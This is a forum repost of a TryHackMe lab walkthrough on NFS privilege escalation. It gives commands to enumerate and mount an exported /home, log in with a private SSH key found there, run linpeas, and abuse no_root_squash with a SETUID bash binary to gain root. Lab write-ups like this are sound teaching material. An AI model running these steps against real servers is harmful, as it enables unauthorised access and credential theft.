[Tut] Hacking Network File System (NFS) – A TryHackMe Walkthrough

[xSicKxBot]

Hacking Network File System (NFS) – A TryHackMe Walkthrough

5/5 – (1 vote)



OBJECTIVE



NFS (network file system) is a file system that enables file sharing between computers of different operating systems (Windows/Linux/Mac).

In this practice box from TryHackMe, we will hack into NFS and exploit a misconfiguration (No-root Squash) to obtain root access and find our final

Code:

root.txt

flag.

WHAT IS NO-ROOT SQUASH?



No-root Squash is an uncommon configuration (some might say a misconfiguration) on the NFS file system.

When enabled, it allows remote users to change file permissions on any file and also to add a

Code:

SETUID

bit to effectively run programs as the root user. Normally it is disabled to protect against hackers, and all root-created files are assigned to an unprivileged owner named

Code:

nfsnobody

.

Recommended: If you are interested in learning more technical details about how this works, I’d recommend this article on

Code:

no_root_squash

and other configuration options when using NFS.

ENUMERATION



We’ll start with a standard Nmap scan of all ports with the

Code:

-p-

flag:

Code:

nmap $targetIP -p-

The scan shows an

Code:

nfs

service running on port. Let’s find out what directories are mountable with the command:

Code:

showmount -e $targetIP

(

Code:

-e

for exports)



Let’s go ahead and mount the

Code:

/home

directory to our target machine. I’m using Parrot OS virtual machine with a Mate desktop environment running in Gnome Boxes. We can mount the

Code:

nfs

directory directly to our local filesystem with the command:

Code:

mount -t nfs $targetIP:/home /mount

(

Code:

-t

indicates filetype) 

And now we can continue further enumeration by poking around the filesystem.

Code:

cd /mount ls -la

We find a user folder in the home directory,

Code:

cappuccino

and a hidden directory

Code:

.ssh

. Inside the directory there is an

Code:

id_rsa

file that holds a private ssh key.

INITIAL FOOTHOLD – USER CAPPUCCINO 



After copying the

Code:

id_rsa

over to our target machine, we can ssh into cappuccino’s account with this command:

Code:

ssh -i id_rsa cappuccino@$targetIP

ENUMERATING PRIVILEGE ESCALATION ATTACK VECTORS WITH LINPEAS



Now that we have our initial foothold, we can grab a copy of the well-known script

Code:

linpeas.sh

from the official git repo and use it to automate the enumeration of attack vectors for privilege escalation on the target machine. We’ll navigate to the

Code:

/mount

folder and use the command

Code:

wget

on our attack machine for this:

Code:

sudo wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh 

Before running the sh program from our target machine, we need to add execute permissions to the file from our attack machine.

The beauty of mounting NFS file systems in Linux is evident here as we can easily add permissions to

Code:

linpeas.sh

from our attack machine to set up the program to be executable on the target machine.

Code:

chmod +x linpeas.sh

Now that

Code:

linpeas.sh

is located in the

Code:

/home

folder of the target machine, we can run it to start the automated enumeration:

Code:

./linpeas.sh

This will dump a long text file full of details about the target machine. The most interesting things for privilege escalation are highlighted in yellow with red text.

Scrolling through the results, we quickly find the

Code:

no_root_squash

listed under NFS. We will now move forward and exploit this misconfiguration, allowing us to escalate privileges to the root user.



EXPLOITING NO_ROOT_SQUASH



First, let’s grab the bash executable for Ubuntu Server 18.04 from the link on TryHackMe.

Code:

Sudo wget https://github.com/TheRealPoloMints/Blog/blob/master/Security%20Challenge%20Walkthroughs/Networks%202/bash

Now we add the

Code:

SETUID

bit to the file bash and make it executable. This is the key to gaining root access with

Code:

no_root_squash

.

Code:

sudo chmod +sx bash

Running bash now from our target machine doesn’t seem to change us to the root user yet.

Code:

./bash

The final trick we need to use is to enable persistence mode with the flag

Code:

-p

If you liked this tutorial, you’d probably love my video walkthrough as well:

Recommended Tutorial: Alice in Wonderland — TryHackMe